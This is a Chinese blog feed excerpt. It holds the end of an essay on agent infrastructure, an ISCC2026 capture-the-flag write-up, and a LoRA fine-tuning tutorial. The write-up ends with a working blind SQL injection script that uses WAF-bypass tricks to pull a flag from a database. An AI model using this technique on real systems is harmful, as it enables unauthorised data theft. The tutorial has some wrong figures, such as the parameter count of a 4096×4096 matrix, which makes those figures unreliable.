&lt;li&gt;质量审核。这是最关键的一步。Agent 不会直接保存生成的 skill，而是启动一个子 agent 专门审核这个 skill 的质量。如果审核不过，生成流程回退到阶段 2 重新抽象。最多尝试 3 次，还不过就放弃——宁可不产生 skill，也不产生垃圾 skill。&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;五、小结&lt;/h1&gt;
&lt;p&gt;我还记得第一次面试的时候，mentor 跟我说：“AI 是第四次工业革命，也是普及速度最快的一次革命。” 事实也印证了这句话 —— 这几年，几乎每一年都在被称作Agentic AI 的元年。这几年里，AI从单纯的能聊天变成了能干活，而Agent、LLM、A2A、MCP、Skills这几个概念，就是支撑这个转变的基础设施。如果说LLM是大脑，那MCP是手，Skills是经验，A2A是语言，Agent就是把这一切整合起来的人。一个人，有手可以操作工具，有经验可以把事情做好，有语言可以和同事协作——这就是 Agentic AI 的完整图景。&lt;/p&gt;
&lt;p&gt;它们的关系很像互联网早期的TCP、IP、HTTP、DNS一样——单看每一个都很单薄，但放在一起，就构成了一个让无数应用得以运行的底层生态。AI的下一幕，不是更聪明的模型，而是更好的协作基础设施。而我们正在见证这个基础设施从零开始搭建。&lt;/p&gt;
&lt;h1&gt;六、参考链接&lt;/h1&gt;
&lt;p&gt;Agent2Agent (A2A) Protocol&lt;/p&gt;
&lt;p&gt;https://github.com/a2aproject/A2A&lt;/p&gt;
&lt;p&gt;Agent2Agent (A2A) 协议使用入门：Cloud Run 和 Agent Engine 上的购买助理和远程销售代理互动&lt;/p&gt;
&lt;p&gt;https://codelabs.developers.google.com/intro-a2a-purchasing-concierge&lt;/p&gt;
&lt;p&gt;在矛盾知识库里看到的狄师哥写的MCP的文章，是我最开始学MCP的时候看的，写的很清晰&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://spear-shield.feishu.cn/wiki/QClbwJtHtiZtr7kLsdhcVfpjn6c?fromScene=spaceOverview&quot;&gt;‍⁠﻿⁠‬‬﻿‬‌‍‍⁠⁠‍‍⁠‌‍‌﻿‬‬‍﻿‬‬⁠MCP安全-MCP基础 - 飞书云文档&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Model Context Protocol servers&lt;/p&gt;
&lt;p&gt;https://github.com/modelcontextprotocol/servers&lt;/p&gt;
&lt;p&gt;5 Agent Skill design patterns every ADK developer should know&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tool.lu/en_US/article/7JA/url&quot;&gt;https://x.com/GoogleCloudTech/status/2033953579824758855&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Hermes Agent ☤&lt;/p&gt;
&lt;p&gt;https://github.com/NousResearch/hermes-agent&lt;/p&gt;
</content:encoded></item><item><title>ISCC2026社团活动统计WP</title><link>https://whyulooksad.github.io/posts/%E7%BB%83%E6%AD%A6web-%E7%A4%BE%E5%9B%A2%E6%B4%BB%E5%8A%A8%E7%BB%9F%E8%AE%A1/</link><guid isPermaLink="true">https://whyulooksad.github.io/posts/%E7%BB%83%E6%AD%A6web-%E7%A4%BE%E5%9B%A2%E6%B4%BB%E5%8A%A8%E7%BB%9F%E8%AE%A1/</guid><description>一道挺有意思的题</description><pubDate>Fri, 05 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;ISCC2026 社团活动统计 WriteUp&lt;/h1&gt;
&lt;h2&gt;Web-社团活动统计&lt;/h2&gt;
&lt;h2&gt;解题思路&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;进入题目环境后，是一个&quot;校园社团活动平台&quot;页面。发现禁用 F12和右键菜单，无法看到前端源代码，但是页面底部有关键提示：&lt;code&gt;访问核心功能需：用户代理+官方来源页+校园令牌&lt;/code&gt;，导航栏标亮了&quot;&quot;活动&quot; 和 &quot;管理&quot;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260514214034790.png&quot; alt=&quot;image-20260514214034626&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是直接发HTTP请求可以拿到前端代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; curl.exe -s -A &quot;Mozilla/5.0&quot; http://39.105.213.28:8000/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260514222243778.png&quot; alt=&quot;image-20260514222243700&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;loadMore()&lt;/code&gt; 函数调用了 &lt;code&gt;/?page=2&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查看站点根目录下是否存在 &lt;code&gt;robots.txt&lt;/code&gt;。访问：&lt;code&gt;http://39.105.213.28:8000/robots.txt&lt;/code&gt;，发现有泄露文件路径。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260514214513508.png&quot; alt=&quot;image-20260514214513452&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;访问&lt;code&gt;http://39.105.213.28:8000/static/hint/tech_stack.txt&lt;/code&gt;，有两个关键信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;User-Agent: Campus-Stat/1.0&lt;/code&gt;  这个就是用户代理&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Referer: https://campus-stat.example.com/&lt;/code&gt;  很可能就是官方来源页&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260514214739229.png&quot; alt=&quot;image-20260514214739166&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;还差校园令牌。看下首页源码，唯一一个动态接口就是&lt;code&gt;/?page=2&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function loadMore() {
    fetch(&apos;/?page=2&apos;, { method: &apos;GET&apos; })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;带着前两个条件访问这个接口试一下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260514223617720.png&quot; alt=&quot;image-20260514223617627&quot; /&gt;&lt;/p&gt;
&lt;p&gt;响应头里有 X-Campus-Token，这个应该就是第三个关键信息校园令牌！&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;导航栏标亮了&quot;&quot;活动&quot; 和 &quot;管理&quot;，翻译成一些常见路由名，试下能不能访问：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260514225239583.png&quot; alt=&quot;7dfecc1d2ba2d21a3249b148e7aa1229&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260514225324384.png&quot; alt=&quot;adf23997d2e147e85938932c77d216bd&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;admin说maybe start from here,先研究下这个。这里不禁用F12了，能看到源代码，但是好像没什么用：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260514230022525.png&quot; alt=&quot;image-20260514230022447&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看一下activity的。看到两行关键信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; console.log(&quot;%c[Clue] Half of the truth: ISCC{Campus_Stat_A_&quot;, &quot;color: #4CAF50; font-size: 14px;&quot;);
 console.log(&quot;%c[Hint] The target might be combined with previous clues...&quot;, &quot;color: #2196F3; font-size: 12px;&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260514230511986.png&quot; alt=&quot;image-20260514230511923&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首页导航栏还有一个数据统计，admin也提示stat，试一下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260514233914456.png&quot; alt=&quot;16e0e053f73e7416683448aea06cba7a&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确实能访问。试下拼成flag：ISCC{Campus_Stat_A_maybe_stat}、ISCC{Campus_Stat_A_maybe_flag{stat}。都不对。&lt;/p&gt;
&lt;p&gt;可能是路径？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260514234435350.png&quot; alt=&quot;image-20260514234435287&quot; /&gt;&lt;/p&gt;
&lt;p&gt;果然。那就带上那三个关键信息：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260515002623011.png&quot; alt=&quot;image-20260515002622855&quot; /&gt;&lt;/p&gt;
&lt;p&gt;牛逼。拿到三个隐藏提示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    &amp;lt;!-- 隐藏提示1：藏在input的title属性中 --&amp;gt;
    &amp;lt;input type=&quot;text&quot; id=&quot;dim_filter&quot; name=&quot;dim_filter&quot; placeholder=&quot;输入统计维度关键词&quot; title=&quot;该参数会作为统计结果的别名使用&quot;&amp;gt;
    
    &amp;lt;!-- 隐藏提示2：藏在不可见元素的属性中 --&amp;gt;
    &amp;lt;div class=&quot;hint-attr&quot; data-hint=&quot;SQL语句格式为SELECT COUNT(*) AS [维度值] FROM activity&quot;&amp;gt;&amp;lt;/div&amp;gt;

    &amp;lt;!-- 隐藏提示3：藏在HTML注释中 --&amp;gt;
    &amp;lt;!-- Flag存储在flag表的value字段，可通过构造条件判断字符是否正确 --&amp;gt;
    &amp;lt;!-- WAF会过滤空格和完整关键词，可用/**/替代空格，简化关键词绕过 --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;到这里其实已经很清晰了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;注入点在 &lt;code&gt;dim_filter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;数据库查询大致与 &lt;code&gt;SELECT COUNT(*) ... FROM activity&lt;/code&gt; 有关&lt;/li&gt;
&lt;li&gt;flag 在 &lt;code&gt;flag&lt;/code&gt; 表的 &lt;code&gt;value&lt;/code&gt; 字段中&lt;/li&gt;
&lt;li&gt;需要用布尔盲注方式逐位判断&lt;/li&gt;
&lt;li&gt;还要绕过简单 WAF&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;布尔盲注测试一下：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260515002733164.png&quot; alt=&quot;image-20260515002733043&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260515002756811.png&quot; alt=&quot;image-20260515002756697&quot; /&gt;&lt;/p&gt;
&lt;p&gt;条件为真时，页面显示 &lt;code&gt; 10&lt;/code&gt;，条件为假时，页面显示 &lt;code&gt; 0&lt;/code&gt;。按理说，不管传什么字符串，查询结果都应该是固定的（比如都是 10），因为 &lt;code&gt;COUNT(*)&lt;/code&gt; 统计的是 &lt;code&gt;activity&lt;/code&gt; 表总行数，和别名无关。这说明后端并不是单纯把 &lt;code&gt;dim_filter&lt;/code&gt; 当字符串别名，而是把它当作了一个可以影响查询结果的表达式。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;ISCC的题flag基本都是ISCC开头，测一下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260515005714874.png&quot; alt=&quot;image-20260515005714745&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;再试一个错误的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260515005810369.png&quot; alt=&quot;image-20260515005810249&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注入已经完全打通，接下来只需要逐位枚举即可。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;先确定flag长度，发现长度为27时是对的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260515010027855.png&quot; alt=&quot;image-20260515010027742&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;那就写个脚本，逐位枚举 flag。运行脚本：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260515021232166.png&quot; alt=&quot;image-20260515021232088&quot; /&gt;&lt;/p&gt;
&lt;p&gt;整体利用链如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 访问首页，发现“活动 / 管理 / 统计”等关键词和页脚提示。
2. 访问 `/?page=2`，从响应头得到 `X-Campus-Token`。
3. 查看 `robots.txt`，拿到 `/static/hint/tech_stack.txt`。
4. 访问提示文件，获得：
   - 正确的 `User-Agent`
   - 正确的 `Referer`
5. 访问 `/admin/`、`/activity/`、`/stat/`收集碎片线索。
6. 将关键词拼接为 `/admin/stat/activity/`，进入核心统计页面。
7. 通过源码注释定位 `dim_filter` 为注入点。
8. 根据提示得知：
   - 查询骨架
   - flag 表和字段
   - WAF 绕过方式
9. 使用布尔盲注按位恢复 flag。

这题的设计属于典型的“多层提示驱动型 Web 题”：
- 第一层提示在前端页面
- 第二层提示在响应头
- 第三层提示在 `robots.txt`
- 第四层提示在隐藏路由
- 最终利用点在参数注入
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;EXP&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import requests
import re
import string
import time  # 加延时，防止频繁请求

base = &quot;http://39.105.213.28:8000/admin/stat/activity/&quot;
headers = {
    &quot;User-Agent&quot;: &quot;Campus-Stat/1.0&quot;,
    &quot;Referer&quot;: &quot;https://campus-stat.example.com/&quot;,
    &quot;X-Campus-Token&quot;: &quot;campus-ctf-2024-abc123&quot;,
}

charset = string.ascii_letters + string.digits + string.punctuation


def query(expr):
    try:
        # 关键：WAF 绕过 + 延时 1 秒，避免频繁请求

        time.sleep(1)

        # 最关键：大小写混合 + /**/ 绕过 WAF
        payload = expr.replace(&quot;select&quot;, &quot;SeLeCt&quot;).replace(&quot;from&quot;, &quot;FrOm&quot;)

        r = requests.get(base, headers=headers, params={&quot;dim_filter&quot;: payload}, timeout=10)
        m = re.search(r&apos;&amp;lt;div class=&quot;count&quot;&amp;gt;(.*?)&amp;lt;/div&amp;gt;&apos;, r.text, re.S)
        if not m:
            return False
        return &quot;10&quot; in m.group(1)
    except:
        return False


# 1. 猜长度
length = None
for i in range(1, 70):
    expr = f&quot;length((select/**/value/**/from/**/flag))={i}&quot;
    if query(expr):
        length = i
        print(&quot;[+] flag 长度 =&quot;, length)
        break

# 2. 逐位猜 flag
flag = &quot;&quot;
for pos in range(1, length + 1):
    for ch in charset:
        expr = f&quot;substr((select/**/value/**/from/**/flag),{pos},1)=&apos;{ch}&apos;&quot;
        if query(expr):
            flag += ch
            print(f&quot;[+] 第 {pos} 位: {flag}&quot;)
            break

print(&quot;\n[✅] 最终 flag =&quot;, flag)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>浅谈LoRA SFT</title><link>https://whyulooksad.github.io/posts/%E6%B5%85%E8%B0%88lora/</link><guid isPermaLink="true">https://whyulooksad.github.io/posts/%E6%B5%85%E8%B0%88lora/</guid><description>这次来谈谈LoRA微调</description><pubDate>Tue, 02 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这次来谈谈LoRA微调。&lt;/p&gt;
&lt;h1&gt;一、基础概念&lt;/h1&gt;
&lt;p&gt;先看一下LLM训练的全过程：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260602224902401.png&quot; alt=&quot;image-20260602224902327&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在预训练阶段，模型在大规模标注文本上学习对下一个token的分布表示；在下游应用中，通过微调可使模型适应特定任务领域或风格（如问答、代码生成、对话系统等）。&lt;strong&gt;微调本质是教会模型遵循用户指令，把知识按照要求表达出来。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;微调分为全参微调和低参微调两大类，低参微调又有Prompt-Tuning、 P-Tuning、 Prefix-Tuning、Adapter Tuning、 LoRA等多种方法，本篇就重点讲解目前工业界应用最广泛的 LoRA 微调。&lt;/p&gt;
&lt;p&gt;LoRA 微调：通过矩阵分解将大矩阵近似表示为两个小矩阵的乘积，只训练分解后的两个小矩阵，可大幅降低显存需求。例如，将 (4096×4096) 的矩阵分解为 (4096×4) 和 (4×4096) 相乘，参数数量从 160 万下降到 3 万左右，降低了 98%。&lt;/p&gt;
&lt;p&gt;假设这是一个4×5的矩阵：
$$
W=
\begin{bmatrix}
w_{11} &amp;amp; w_{12} &amp;amp; \dots &amp;amp; w_{1n} \
w_{21} &amp;amp; w_{22} &amp;amp; \dots &amp;amp; w_{2n} \
\vdots &amp;amp; \vdots &amp;amp; \ddots &amp;amp; \vdots \
w_{m1} &amp;amp; w_{m2} &amp;amp; \dots &amp;amp; w_{mn}
\end{bmatrix}
$$
LoRA 不改动原模型权重，用两个低秩小矩阵相乘模拟原权重的微调增量：
$$
\Delta W = A \times B
$$&lt;/p&gt;
&lt;p&gt;$$
A=
\begin{bmatrix}
a_{11} &amp;amp; a_{12} \
a_{21} &amp;amp; a_{22} \
a_{31} &amp;amp; a_{32} \
a_{41} &amp;amp; a_{42}
\end{bmatrix},\quad
B=
\begin{bmatrix}
b_{11} &amp;amp; b_{12} &amp;amp; b_{13} &amp;amp; b_{14} &amp;amp; b_{15} \
b_{21} &amp;amp; b_{22} &amp;amp; b_{23} &amp;amp; b_{24} &amp;amp; b_{25}
\end{bmatrix}
$$&lt;/p&gt;
&lt;p&gt;矩阵乘积A×B是一个4×5的矩阵：
$$
A\times B=
\begin{bmatrix}
a_{11}b_{11}+a_{12}b_{21} &amp;amp; a_{11}b_{12}+a_{12}b_{22} &amp;amp; \cdots &amp;amp; a_{11}b_{15}+a_{12}b_{25} \
a_{21}b_{11}+a_{22}b_{21} &amp;amp; a_{21}b_{12}+a_{22}b_{22} &amp;amp; \cdots &amp;amp; a_{21}b_{15}+a_{22}b_{25} \
\vdots &amp;amp; \vdots &amp;amp; \ddots &amp;amp; \vdots \
a_{41}b_{11}+a_{42}b_{21} &amp;amp; a_{41}b_{12}+a_{42}b_{22} &amp;amp; \cdots &amp;amp; a_{41}b_{15}+a_{42}b_{25}
\end{bmatrix}
$$
仅训练A、B实现参数高效微调，训练结束后W+微调增量可以合并回原权重，推理无额外计算开销：
$$
h = (W + BA)x = (W + \Delta W)x
$$
**参数对比：**原W参数4×5=20个；LoRA (A+B) 总参数4×2+2×5=18，r越小参数量压缩越夸张。&lt;/p&gt;
&lt;p&gt;虽然Lora微调能极大地节省计算开销，但是能做全量微调还是尽量不要做 LoRA 微调，LoRA 微调精度有损失，只适用于部分简单场景，涉及重要能力的微调需用全量微调。&lt;/p&gt;
&lt;h1&gt;二、手撕实战&lt;/h1&gt;
&lt;p&gt;这里以对&lt;code&gt;DeepSeek-R1-Distill-Qwen-7B&lt;/code&gt;这个模型做医学问答方面的微调为例。&lt;/p&gt;
&lt;p&gt;需要用到的包如下：&lt;/p&gt;
&lt;p&gt;torch：深度学习底层框架PyTorch&lt;/p&gt;
&lt;p&gt;transformers：LLM 加载和 Tokenizer 核心库&lt;/p&gt;
&lt;p&gt;datasets：数据集处理工具&lt;/p&gt;
&lt;p&gt;peft：参数高效微调库&lt;/p&gt;
&lt;p&gt;trl：LLM 训练流水线库&lt;/p&gt;
&lt;p&gt;accelerate：简易分布式 / 混合精度工具&lt;/p&gt;
&lt;p&gt;wandb：训练日志可视化平台&lt;/p&gt;
&lt;p&gt;deepspeed：微软超大模型显存优化框架&lt;/p&gt;
&lt;p&gt;整体链路如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;torch(底层) → transformers(模型+分词) + datasets(数据) → peft(LoRA) + trl(SFT训练器) → accelerate/deepspeed(分布式显存优化) → wandb(日志监控)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1. 配置模型和数据路径&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;model_id_or_path=&quot;DeepSeek-R1-Distill-Qwen-7B&quot;
dataset_path=&quot;dataset/medical_o1_sft_Chinese.json&quot;
ouput_dir=&quot;sft_lora_model_int_output_new&quot;

tokenizer=AutoTokenizer.from_pretrained(model_id_or_path,trust_remote_code=True)
model=AutoModelForCasualLM.from_pretrained(model_id_or_path,trust_remote_code=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. 加载数据集&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;print(&quot;Loadding Dataset...&quot;)
dataset=load_dataset(&quot;json&quot;,data_files=dataset_path,split=&quot;train&quot;)
print(f&quot;数据集一共有{len(dataset)}组数据&quot;)
print(f&quot;数据集:{dataset}&quot;)
print(f&quot;数据集列{dataset.column_names}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260604171428330.png&quot; alt=&quot;image-20260604171427906&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;3. 处理数据集&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;train_prompt_style_zh = &quot;&quot;&quot;
请根据下方指令和提供的具体问题，撰写一个恰当的回复。
在回答前，请仔细思考问题，并展现一步一步的思考过程，以确保回复的逻辑性和准确性。

### 指令:
你是一位医学专家，精通临床推理、诊断和治疗计划。
请回答下面的医学问题。

### 问题:
{}

### 回答:
&amp;lt;think&amp;gt;
{}
&amp;lt;/think&amp;gt;
{}
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;固定对话 Prompt 模板，3 个&lt;code&gt;{}&lt;/code&gt;依次占位：&lt;/p&gt;
&lt;p&gt;第 1 个&lt;code&gt;{}&lt;/code&gt;：数据集字段&lt;code&gt;Question&lt;/code&gt; → 用户医学问题&lt;/p&gt;
&lt;p&gt;第 2 个&lt;code&gt;{}&lt;/code&gt;：数据集字段&lt;code&gt;Complex_CoT&lt;/code&gt; → CoT 思考推理过程（分步解题思路）&lt;/p&gt;
&lt;p&gt;第 3 个&lt;code&gt;{}&lt;/code&gt;：数据集字段&lt;code&gt;Response&lt;/code&gt; → 最终标准答案&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# eos_token：模型结束标识符（如&amp;lt;|endoftext|&amp;gt;），每条样本末尾强制拼接结束符，告诉模型一句话到此结束，微调时学习终止生成。
EOS_TOKEN=tokenizer.eos_token 
def formatting_prompts_func(examples):
    inputs=examples[&quot;Question&quot;]
    cots=examples[&quot;Complex_CoT&quot;]
    outputs=examples[&quot;Response&quot;]
    texts=[]
    for input,cot,output in zip(inputs,cots,outputs):
        text=train_prompt_style_zh.format(input,cot,output)+EOS_TOKEN
        texts.append(text)
    return {
        &quot;text&quot;:texts,
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终生成新字段&lt;code&gt;text&lt;/code&gt;，是后续 Trainer 训练唯一输入字段。因为我们后面是用 trl 来训练，所以把输入输出拼接成一个 text 就可以了。如果想正常用 peft 来训练的话，需要把数据集处理成&lt;code&gt;text&lt;/code&gt;, &lt;code&gt;input_ids&lt;/code&gt;, &lt;code&gt;attention_mask&lt;/code&gt;这三个标准的列然后传入模型去训练。trl 库是对整个流程进行简化，只需要数据集里有 text 这一列就可以了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;print(&quot;Formating dataset...&quot;)
# 数据集映射处理
dataset=dataset.map(formatting_prompts_func,batched=True)
print(&quot;Dataset after formatting&quot;,dataset)
print(&quot;Dataset[0]&quot;,dataset[0][&quot;text&quot;])

if tokenizer.pad_token is None:
    tokenizer.pad_token=tokenizer.eos_token
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;pad是padding 填充符，batch 训练时补齐短句长度必需。很多大模型（Llama、Qwen、Mistral）原生没有 pad_token，只有 eos_token，所以赋值&lt;code&gt;pad_token = eos_token&lt;/code&gt;，避免 Trainer 训练时报错。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260604232113185.png&quot; alt=&quot;image-20260604232112870&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;4. 模型量化&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 配置量化
bnb_config=BitsAndBytesConfig(
    #这里我采用的是4bit量化，想改成8bit量化直接把下面四个参数替换成load_in_8bit=True就行
    load_in_4bit=True,   # 开启 4bit 量化
    bnb_4bit_use_double_quant=True, # 双重量化，更省显存
    bnb_4bit_quant_type=&quot;nf4&quot;,  # 用更精准的 4bit 格式（QLoRA 专用）
    bnb_4bit_compute_dtype=torch.bfloat16 # 计算时用 bf16
)
# 加载模型 
model=AutoModelForCausalLM.from_pretrained(
    model_id_or_path,
    quantization_config=bnb_config, # 传入量化配置
    device_map=&quot;auto&quot;,   # 自动把模型分配到 GPU/CPU
    trust_remote_code=True # 运行模型自定义代码
)
print(&quot;model loaded&quot;)
print(model)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260605110112567.png&quot; alt=&quot;image-20260605110112078&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;5. LoRA配置&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 把量化模型设置成可以训练的模式。
model = prepare_model_for_kbit_training(model)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主要有下面三个作用：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;关闭模型的冻结，让量化层支持梯度更新&lt;/li&gt;
&lt;li&gt;关闭不需要的缓存，节省显存&lt;/li&gt;
&lt;li&gt;让量化权重可以参与反向传播&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;lora_config = LoraConfig(
    r=16,   # LoRA 的秩
    lora_alpha=16,   # 缩放系数，一般设置成和r一样就行
    # 把 LoRA 加在哪些层上。下面是给模型的所有线性层都加上了LoRA，q/k/v/o是注意力层，gate/up/down是前馈层
    target_modules=[&quot;q_proj&quot;,&quot;k_proj&quot;,&quot;v_proj&quot;,&quot;o_proj&quot;,&quot;gate_proj&quot;,&quot;up_proj&quot;,&quot;down_proj&quot;], 
    lora_dropout=0, # 随机丢弃一部分训练权重，防止过拟合
    bias=&quot;none&quot;,   # 是否训练偏置项
    task_type=&quot;CAUSAL_LM&quot;  # 模型类型：自回归大模型
)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 给模型绑定上LoRA适配器，冻结原模型的全部权重，新增少量可训练的LoRA权重
model = get_peft_model(model, lora_config)
print(&quot;Lora applied to the model&quot;)
model.print_trainable_parameters()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260605110243526.png&quot; alt=&quot;image-20260605110243404&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;6. 训练配置&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# wandb 实验可视化日志
import wandb
wandb.init(project=&quot;test&quot;)

print(&quot;Config Train Arguements&quot;)

# 训练核心超参
training_arguments=TrainingArguments(
    output_dir=ouput_dir,     # LoRA权重保存目录
    per_device_train_batch_size=1,   # 每个设备的训练批次大小。这里一张显卡一次只喂 1 条数据进模型训练。
    gradient_accumulation_steps=8,   # 梯度累积步数。这里是连续累积 8 步的梯度，再更新一次模型权重。
    optim=&quot;adamw_8bit&quot;,   # 优化器。这里使用最常用的8bit 精度的 AdamW 优化器

    save_steps=500,   # 每训练多少步自动保存一次 LoRA 权重
    logging_steps=2,  # 每几步打印一次训练日志

    learning_rate=1e-4,  # 学习率。LoRA 微调常用范围：1e-4 ~ 3e-4。太大模型不收敛，太小训练太慢
    num_train_epochs=1,  # 训练几个轮次
    max_grad_norm=0.3,   # 梯度裁剪，防止梯度过大导致模型训练崩溃。大模型微调常用：0.3~1.0
    lr_scheduler_type=&quot;cosine&quot;,  # 学习率调度策略。这里使用的是余弦退火，学习率会按照余弦曲线慢慢下降。
    weight_decay=0.01,   # 权重衰减，防止模型过拟合。常用值：0.01 ~ 0.1
    warmup_ratio=0.03,   # 学习率预热比例。这里训练前 3% 的步数，学习率从 0 慢慢升到设定值，让训练初期更稳定。
    fp16=False,     # 混合精度训练。半精度（关闭）
    bf16=True,      # 混合精度训练。脑浮点精度（开启）

    report_to=&quot;wandb&quot;,  # 日志上传到wandb
)

print(&quot;SFT TRAINER START...&quot;)

# TRL库专用的有监督微调训练器
trainer=SFTTrainer(
    model=model,
    tokenizer=tokenizer,
    args=training_arguments,
    train_dataset=dataset,

    peft_config=lora_config,
    dataset_text_field=&quot;text&quot;,

    dataset_num_proc=2,  # 2进程并行做数据集tokenizer预处理，提速
    max_seq_length=2048, # 单条文本token上限2048，超长截断、不足补padding。
    packing=False,       # 关闭序列打包
)

